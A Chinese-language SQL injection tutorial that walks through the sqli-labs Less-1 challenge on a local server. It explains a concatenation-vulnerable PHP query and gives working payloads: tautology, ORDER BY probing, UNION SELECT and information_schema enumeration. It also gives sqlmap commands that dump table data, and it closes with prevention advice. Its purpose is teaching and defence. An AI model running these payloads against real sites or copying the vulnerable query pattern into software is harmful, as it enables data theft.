我们之前已经讲解了SQL的使用及优化,正常的SQL调用可以帮我们从数据库中获取想要的数据,然而我们构建的Web应用是个应用程序,本身也可能存在安全漏洞,如果不加以注意,就会出现Web安全的隐患,比如通过非正常的方式注入SQL。
在过去的几年中,我们也能经常看到用户信息被泄露,出现这种情况,很大程度上和SQL注入有关。所以了解SQL注入的原理以及防范还是非常有必要的。
今天我们就通过一个简单的练习看下SQL注入的过程是怎样的,内容主要包括以下几个部分:
SQL注入也叫作SQL Injection,它指的是将非法的SQL命令插入到URL或者Web表单中进行请求,而这些请求被服务器认为是正常的SQL语句从而进行执行。也就是说,如果我们想要进行SQL注入,可以将想要执行的SQL代码隐藏在输入的信息中,而机器无法识别出来这些内容是用户信息,还是SQL代码,在后台处理过程中,这些输入的SQL语句会显现出来并执行,从而导致数据泄露,甚至被更改或删除。
为什么我们可以将SQL语句隐藏在输入的信息中呢?这里举一个简单的例子。
比如下面的PHP代码将浏览器发送过来的URL请求,通过GET方式获取ID参数,赋值给$id变量,然后通过字符串拼接的方式组成了SQL语句。这里我们没有对传入的ID参数做校验,而是采用了直接拼接的方式,这样就可能产生SQL注入。
$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
如果我们在URL中的?id=后面输入' or 1=1 --+,那么SQL语句就变成了下面这样:
SELECT * FROM users WHERE id='' or 1=1 -- LIMIT 0,1
其中我们输入的(+)在浏览器URL中相当于空格,而输入的(--)在SQL中表示注释语句,它会将后面的SQL内容都注释掉,这样整个SQL就相当于是从users表中获取全部的数据。然后我们使用mysql_fetch_array从结果中获取一条记录,这时即使ID输入不正确也没有关系,同样可以获取数据表中的第一行记录。
通常我们希望通过SQL注入可以获取更多的信息,比如数据库的名称、数据表名称和字段名等。下面我们通过一个简单的SQL实例来操作一下。
首先我们需要搭建sqli-labs注入环境,在这个项目中,我们会面临75个SQL注入的挑战,你可以像游戏闯关一样对SQL注入的原理进行学习。
下面的步骤是关于如何在本地搭建sqli-labs注入环境的,成功搭建好的环境类似链接里展现的。
第一步,下载sqli-labs。
sqli-labs是一个开源的SQL注入平台,你可以从GitHub上下载它。
第二步,配置PHP、Apache环境(可以使用phpStudy工具)。
运行sqli-labs需要PHP、Apache环境,如果你之前没有安装过它们,可以直接使用phpStudy这个工具,它不仅集成了PHP、Apache和MySQL,还可以方便地指定PHP的版本。在今天的项目中,我使用的是PHP5.4.45版本。

第三步,配置sqli-labs及MySQL参数。
首先我们需要给sqli-labs指定需要访问的数据库账户密码,对应sqli-labs-master\sql-connections\db-creds.inc文件,这里我们需要修改$dbpass参数,改成自己的MySQL的密码。

此时我们访问本地的sqli-labs项目http://localhost/sqli-labs-master/出现如下页面,需要先启动数据库,选择Setup/reset Database for labs即可。

如果此时提示数据库连接错误,可能需要我们手动修改MySQL的配置文件,需要调整的参数如下所示(修改MySQL密码验证方式为使用明文,同时设置MySQL默认的编码方式):
[client]default-character-set=utf8[mysql]default-character-set=utf8[mysqld]character-set-server = utf8default_authentication_plugin = mysql_native_password
在我们成功对sqli-labs进行了配置,现在可以进入到第一关挑战环节。访问本地的http://localhost/sqli-labs-master/Less-1/页面,如下所示:

我们可以在URL后面加上ID参数,获取指定ID的信息,比如http://localhost/sqli-labs-master/Less-1/?id=1。
这些都是正常的访问请求,现在我们可以通过1 or 1=1来判断ID参数的查询类型,访问http://localhost/sqli-labs-master/Less-1/?id=1 or 1=1。

你可以看到依然可以正常访问,证明ID参数不是数值查询,然后我们在1后面增加个单引号,来查看下返回结果,访问http://localhost/sqli-labs-master/Less-1/?id=1'。
这时数据库报错,并且在页面上返回了错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1。
我们对这个错误进行分析,首先''1'' LIMIT 0,1'这个语句,我们去掉最外层的单引号,得到'1'' LIMIT 0,1,因为我们输入的参数是1',继续去掉1',得到'' LIMIT 0,1。这样我们就能判断出后台的SQL语句,类似于下面这样:
$sql="SELECT ... FROM ... WHERE id='$id' LIMIT 0,1";
两处省略号的地方分别代表SELECT语句中的字段名和数据表名称。
现在我们已经对后台的SQL查询已经有了大致的判断,它是通过字符串拼接完成的SQL查询。现在我们再来判断下这个查询语句中的字段个数,通常可以在输入的查询内容后面加上 ORDER BY X,这里X是我们估计的字段个数。如果X数值大于SELECT查询的字段数,则会报错。根据这个原理,我们可以尝试通过不同的X来判断SELECT查询的字段个数,这里我们通过下面两个URL可以判断出来,SELECT查询的字段数为3个:
报错:
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+
正确:
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+
下面我们通过SQL注入来获取想要的信息,比如想要获取当前数据库和用户信息。
这里我们使用UNION操作符。在MySQL中,UNION操作符前后两个SELECT语句的查询结构必须一致。刚才我们已经通过实验,判断出查询语句的字段个数为3,因此在构造UNION后面的查询语句时也需要查询3个字段。这里我们可以使用:SELECT 1,database(),user(),也就是使用默认值1来作为第一个字段,整个URL为:http://localhost/sqli-labs-master/Less-1/?id=' union select 1,database(),user() \--+。

页面中显示的security即为当前的数据库名称,root@localhost为当前的用户信息。
我们还想知道当前MySQL中所有的数据库名称都有哪些,数据库名称数量肯定会大于1,因此这里我们需要使用GROUP_CONCAT函数,这个函数可以将GROUP BY产生的同一个分组中的值连接起来,并以字符串形式返回。
具体使用如下:
http://localhost/sqli-labs-master/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)--+
这样我们就可以把多个数据库名称拼接在一起,作为字段3返回给页面。

你能看到这里我使用到了MySQL中的information_schema数据库,这个数据库是MySQL自带的数据库,用来存储数据库的基本信息,比如数据库名称、数据表名称、列的数据类型和访问权限等。我们可以通过访问information_schema数据库,获得更多数据库的信息。
在上面的实验中,我们已经得到了MySQL中所有的数据库名称,这里我们能看到wucai这个数据库。如果我们想要看wucai这个数据库中都有哪些数据表,可以使用:
http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wucai') --+
这里我们同样将数据表名称使用GROUP_CONCAT函数拼接起来,作为字段3进行返回。

在上面的实验中,我们从wucai数据库中找到了熟悉的数据表heros,现在就来通过information_schema来查询下heros数据表都有哪些字段,使用下面的命令即可:
http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='heros') --+
这里会将字段使用GROUP_CONCAT函数进行拼接,并将结果作为字段3进行返回,返回的结果如下所示:
attack_growth,attack_max,attack_range,attack_speed_max,attack_start,birthdate,defense_growth,defense_max,defense_start,hp_5s_growth,hp_5s_max,hp_5s_start,hp_growth,hp_max,hp_start,id,mp_5s_growth,mp_5s_max,mp_5s_start,mp_growth,mp_max,mp_start,name,role_assist,role_main

经过上面的实验你能体会到,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的。通过访问information_schema就可以将数据库的信息暴露出来。
了解到如何完成注入SQL后,我们再来了解下SQL注入的检测工具,它可以帮我们自动化完成SQL注入的过程,这里我们使用的是SQLmap工具。
下面我们使用SQLmap再模拟一遍刚才人工SQL注入的步骤。
我们使用sqlmap \-u来指定注入测试的URL,使用--current-db来获取当前的数据库名称,使用--current-user获取当前的用户信息,具体命令如下:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user
然后你能看到SQLmap帮我们获取了相应的结果:

我们可以使用--dbs来获取DBMS中所有的数据库名称,这里我们使用--threads参数来指定SQLmap最大并发数,设置为5,通常该参数不要超过10,具体命令为下面这样:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs
同样SQLmap帮我们获取了MySQL中存在的8个数据库名称:

当我们知道DBMS中存在的某个数据库名称时,可以使用-D参数对数据库进行指定,然后使用--tables参数显示出所有的数据表名称。比如我们想要查看wucai数据库中都有哪些数据表,使用:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables

我们也可以对指定的数据表,比如heros表进行所有字段名称的查询,使用-D指定数据库名称,-T指定数据表名称,--columns对所有字段名称进行查询,命令如下:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns

当我们了解了数据表中的字段之后,就可以对指定字段进行查询,使用-C参数进行指定。比如我们想要查询heros数据表中的id、name和hp_max字段的取值,这里我们不采用多线程的方式,具体命令如下:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump

完整的结果一共包括69个英雄信息都显示出来了,这里我只截取了部分的英雄结果。
在今天的内容中,我使用了sqli-labs注入平台作为实验数据,使用了SQLmap工具自动完成SQL注入。SQL注入的方法还有很多,我们今天讲解的只是其中一个方式。你如果对SQL注入感兴趣,也可以对sqli-labs中其他例子进行学习,了解更多SQL注入的方法。
在这个过程中,最主要的是理解SQL注入的原理。在日常工作中,我们需要对用户提交的内容进行验证,以防止SQL注入。当然很多时候我们都在使用编程框架,这些框架已经极大地降低了SQL注入的风险,但是只要有SQL拼接的地方,这种风险就可能存在。
总之,代码规范性对于Web安全来说非常重要,尽量不要采用直接拼接的方式进行查询。同时在Web上线之后,还需要将生产环境中的错误提示信息关闭,以减少被SQL注入的风险。此外我们也可以采用第三方的工具,比如SQLmap来对Web应用进行检测,以增强Web安全性。

你不妨思考下,为什么开发人员的代码规范对于Web安全来说非常重要?以及都有哪些方式可以防止SQL注入呢?
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。